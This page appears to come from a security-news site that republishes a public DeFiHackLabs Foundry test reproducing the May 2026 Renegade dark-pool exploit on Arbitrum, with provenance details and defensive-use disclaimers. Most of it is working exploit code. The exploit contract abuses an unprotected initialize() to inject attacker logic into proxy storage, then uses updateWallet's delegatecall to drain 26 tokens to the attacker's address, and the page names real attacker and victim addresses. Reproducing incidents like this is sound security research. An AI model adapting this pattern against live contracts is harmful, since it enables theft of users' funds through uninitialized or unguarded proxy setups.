Skip to content
THREATWIRE

Public reproduction file

src/test/2026-05/Renegade_exp.sol

Public reproduction file for dataset entry Renegade.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2026-05/Renegade_exp.sol224 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.13;
3
4import {Test} from "forge-std/Test.sol";
5import {console} from "forge-std/console.sol";
6import {IERC20} from "forge-std/interfaces/IERC20.sol";
7
8// @KeyInfo - Total Lost : ~$209K
9// Attacker : https://arbiscan.io/address/0x777253F28AdC29645152b7b41BE5c772A9657777
10// Attack Contract : https://arbiscan.io/address/0x33FB722C76D4e9fC0c86BbF10EBDeA45a4434a34
11// Vulnerable Contract : https://arbiscan.io/address/0x30bD8eAb29181F790D7e495786d4B96d7AfDC518
12// Attack Tx : https://arbiscan.io/tx/0x0e494685ace16d372066c5b4db959b58ebac6d88166c2d9d618e0e421dc0c77e
13//
14// @Info
15// Vulnerable Contract Code : https://arbiscan.io/address/0x30bD8eAb29181F790D7e495786d4B96d7AfDC518#code
16//
17// @Analysis
18// Post-mortem : https://x.com/renegade_fi/status/2053531772634427599
19// Twitter Guy : https://x.com/DefimonAlerts/status/2053538325969977801
21contract RenegadeTest is Test {
22 bytes32 internal constant TX_HASH = 0x0e494685ace16d372066c5b4db959b58ebac6d88166c2d9d618e0e421dc0c77e;
23 address internal constant EXPLOITER = 0x777253F28AdC29645152b7b41BE5c772A9657777;
24 address internal constant EXPLOIT_CONTRACT = 0x33FB722C76D4e9fC0c86BbF10EBDeA45a4434a34;
25 address internal constant DARK_POOL_PROXY = 0x30bD8eAb29181F790D7e495786d4B96d7AfDC518;
26 address internal constant STYLUS_IMPLEMENTATION = 0xC038933d0b33359f5C87B4B2f92Ee0DAd11EaDc5;
27 IERC20 internal constant USDC = IERC20(0xaf88d065e77c8cC2239327C5EDb3A432268e5831);
29 function setUp() public {
30 vm.createSelectFork("arbitrum", TX_HASH);
31 vm.etch(STYLUS_IMPLEMENTATION, address(new RenegadeStylusInitializeShim()).code);
32 vm.etch(EXPLOIT_CONTRACT, address(new RenegadeExploitContract()).code);
33 vm.label(EXPLOITER, "Exploiter");
34 vm.label(EXPLOIT_CONTRACT, "Renegade Exploit Contract");
35 vm.label(DARK_POOL_PROXY, "Renegade Dark Pool Proxy");
36 vm.label(STYLUS_IMPLEMENTATION, "Renegade Stylus Implementation Shim");
37 vm.label(address(USDC), "USDC");
38 }
40 function testExploit() public {
41 uint256 beforeUsdc = USDC.balanceOf(EXPLOITER);
42 uint256[26] memory beforeProxyBalances;
43 uint256[26] memory beforeExploiterBalances;
45 for (uint256 i = 0; i < RenegadeTokenList.count(); i++) {
46 address token = RenegadeTokenList.at(i);
47 beforeProxyBalances[i] = IERC20(token).balanceOf(DARK_POOL_PROXY);
48 beforeExploiterBalances[i] = IERC20(token).balanceOf(EXPLOITER);
49 }
51 vm.prank(EXPLOITER, EXPLOITER);
52 RenegadeExploitContract(EXPLOIT_CONTRACT).attack();
54 uint256 totalStolenUsdE8;
55 for (uint256 i = 0; i < RenegadeTokenList.count(); i++) {
56 address token = RenegadeTokenList.at(i);
57 uint256 stolenAmount = IERC20(token).balanceOf(EXPLOITER) - beforeExploiterBalances[i];
58 assertEq(stolenAmount, beforeProxyBalances[i], "unexpected drained token amount");
59 assertEq(IERC20(token).balanceOf(DARK_POOL_PROXY), 0, "proxy token balance not drained");
61 totalStolenUsdE8 += stolenAmount * RenegadeTokenList.usdPriceE8(i) / (10 ** RenegadeTokenList.decimals(i));
62 }
64 assertEq(USDC.balanceOf(EXPLOITER) - beforeUsdc, 104_383_594_837);
65 assertGt(totalStolenUsdE8, 200_000e8, "USD value too low");
66 assertLt(totalStolenUsdE8, 220_000e8, "USD value too high");
67 console.log("Total stolen USD", totalStolenUsdE8 / 1e8);
68 }
71contract RenegadeExploitContract {
72 address internal constant EXPLOITER = 0x777253F28AdC29645152b7b41BE5c772A9657777;
73 IRenegadeDarkPool internal constant DARK_POOL = IRenegadeDarkPool(0x30bD8eAb29181F790D7e495786d4B96d7AfDC518);
75 function attack() external {
76 uint256[2] memory publicBlinder;
78 DARK_POOL.initialize(
79 address(this),
80 address(0),
81 address(0),
82 address(0),
83 address(0),
84 address(0),
85 address(0),
86 address(0),
87 address(0),
88 address(0),
89 0,
90 publicBlinder,
91 EXPLOITER
92 );
93 DARK_POOL.updateWallet("", "", "", "");
94 }
96 function drainTokens() external {
97 for (uint256 i = 0; i < RenegadeTokenList.count(); i++) {
98 address token = RenegadeTokenList.at(i);
99 uint256 amount = IERC20(token).balanceOf(address(this));
100 if (amount != 0) {
101 require(IERC20(token).transfer(EXPLOITER, amount), "transfer failed");
102 }
103 }
104 }
107contract RenegadeStylusInitializeShim {
108 bytes4 internal constant INITIALIZE_SELECTOR = 0x92413afe;
109 bytes4 internal constant UPDATE_WALLET_SELECTOR = 0x803f430a;
110 address internal injectedLogic;
112 // The real implementation is Arbitrum Stylus code; Foundry/revm stops at
113 // OpcodeNotFound there. Only the two selectors reached by the exploit tx are
114 // shimmed: initialize stores attacker-controlled logic in proxy storage, and
115 // updateWallet delegatecalls that logic from the proxy storage context.
116 fallback() external {
117 require(msg.sig == INITIALIZE_SELECTOR || msg.sig == UPDATE_WALLET_SELECTOR, "unexpected Renegade selector");
119 if (msg.sig == INITIALIZE_SELECTOR) {
120 injectedLogic = abi.decode(msg.data[4:], (address));
121 return;
122 }
124 address logic = injectedLogic;
125 require(logic != address(0), "missing injected logic");
127 (bool ok, bytes memory ret) =
128 logic.delegatecall(abi.encodeWithSelector(RenegadeExploitContract.drainTokens.selector));
129 ret;
130 require(ok, "injected delegatecall failed");
131 }
134interface IRenegadeDarkPool {
135 function initialize(
136 address injectedLogic,
137 address verifier,
138 address hasher,
139 address transferExecutor,
140 address permit2,
141 address vkeys,
142 address protocolFeeRecipient,
143 address protocolFeeController,
144 address relayer,
145 address priceReporter,
146 uint256 protocolFee,
147 uint256[2] calldata publicBlinder,
148 address owner
149 ) external;
151 function updateWallet(
152 bytes calldata wallet,
153 bytes calldata proof,
154 bytes calldata statement,
155 bytes calldata blinderSeed
156 ) external;
159library RenegadeTokenList {
160 function count() internal pure returns (uint256) {
161 return 26;
162 }
165 function decimals(uint256 index) internal pure returns (uint256) {
166 if (index == 6) return 8;
167 if (index == 18 || index == 25) return 6;
168 return 18;
169 }
171 // Approximate USD prices with 8 decimals, used only to display the aggregate exploit value.
172 function usdPriceE8(uint256 index) internal pure returns (uint256) {
173 if (index == 1) return 1e8; // PENDLE
174 if (index == 2) return 25_000_000; // CRV: $0.25
175 if (index == 4) return 50_000_000; // LDO: $0.50
176 if (index == 5) return 4e8; // LPT
177 if (index == 6) return 100_000e8; // WBTC
178 if (index == 8) return 1_000_000; // RDNT: $0.01
179 if (index == 9) return 20e8; // COMP
180 if (index == 11) return 1_500_000; // XAI: $0.015
181 if (index == 13) return 1e8; // ZRO
182 if (index == 14) return 50_000_000; // ETHFI: $0.50
183 if (index == 15) return 2_400e8; // WETH
184 if (index == 16) return 25_000_000; // ARB: $0.25
185 if (index == 17) return 4_000_000; // GRT: $0.04
186 if (index == 18) return 1e8; // USDC
187 if (index == 20) return 80e8; // AAVE
188 if (index == 22) return 8e8; // LINK
189 if (index == 23) return 3e8; // UNI
190 if (index == 24) return 8e8; // GMX
191 if (index == 25) return 1e8; // USDT
192 return 0;
193 }
195 function at(uint256 index) internal pure returns (address) {
196 if (index == 0) return 0x0721b3C9f19cfeF1d622C918DcD431960f35E060;
197 if (index == 1) return 0x0c880f6761F1af8d9Aa9C466984b80DAb9a8c9e8;
198 if (index == 2) return 0x11cDb42B0EB46D95f990BeDD4695A6e3fA034978;
199 if (index == 3) return 0x13ad3f1150db0e1e05fd32bDEeB7C110ee023de6;
200 if (index == 4) return 0x13Ad51ed4F1B7e9Dc168d8a00cB3f4dDD85EfA60;
201 if (index == 5) return 0x289ba1701C2F088cf0faf8B3705246331cB8A839;
202 if (index == 6) return 0x2f2a2543B76A4166549F7aaB2e75Bef0aefC5B0f;
203 if (index == 7) return 0x306fD3e7b169Aa4ee19412323e1a5995B8c1a1f4;
204 if (index == 8) return 0x3082CC23568eA640225c2467653dB90e9250AaA0;
205 if (index == 9) return 0x354A6dA3fcde098F8389cad84b0182725c6C91dE;
206 if (index == 10) return 0x45D9831d8751B2325f3DBf48db748723726e1C8c;
207 if (index == 11) return 0x4Cb9a7AE498CEDcBb5EAe9f25736aE7d428C9D66;
208 if (index == 12) return 0x65C101E95D7DD475c7966330fa1A803205FF92aB;
209 if (index == 13) return 0x6985884C4392D348587B19cb9eAAf157F13271cd;
210 if (index == 14) return 0x7189fb5B6504bbfF6a852B13B7B82a3c118fDc27;
211 if (index == 15) return 0x82aF49447D8a07e3bd95BD0d56f35241523fBab1;
212 if (index == 16) return 0x912CE59144191C1204E64559FE8253a0e49E6548;
213 if (index == 17) return 0x9623063377AD1B27544C965cCd7342f7EA7e88C7;
214 if (index == 18) return 0xaf88d065e77c8cC2239327C5EDb3A432268e5831;
215 if (index == 19) return 0xb1425d5Bafc89A069421F69Ba57DBE2F23fC45f6;
216 if (index == 20) return 0xba5DdD1f9d7F570dc94a51479a000E3BCE967196;
217 if (index == 21) return 0xC5a861787f3e173F2b004d5cfA6a717f5DC5484D;
218 if (index == 22) return 0xf97f4df75117a78c1A5a0DBb814Af92458539FB4;
219 if (index == 23) return 0xFa7F8980b0f1E64A2062791cc3b0871572f1F7f0;
220 if (index == 24) return 0xfc5A1A6EB076a2C7aD06eD22C90d7E710E35ad0a;
221 if (index == 25) return 0xFd086bC7CD5C481DCC9C85ebE478A1C0b69FCbb9;
222 revert("token index out of bounds");
223 }

Analysis

Dataset entry

Public Foundry test for “Renegade” (2026-05-10). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

23 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol, forge-std/console.sol, forge-std/interfaces/IERC20.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x777253f28adc29645152b7b41be5c772a9657777

  • Attack Contract

    0x33fb722c76d4e9fc0c86bbf10ebdea45a4434a34

  • Vulnerable Contract

    0x30bd8eab29181f790d7e495786d4b96d7afdc518

  • Attack Tx

    0x0e494685ace16d372066c5b4db959b58ebac6d88166c2d9d618e0e421dc0c77e

File record

Name
Renegade
Path
src/test/2026-05/Renegade_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
beed1ea054c2296c2bfd280458a4b496e4f9660d
Language
Solidity
Size
224 lines
Date
2026-05-10
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2026-05/Renegade_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob beed1ea054c2296c2bfd280458a4b496e4f9660d, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.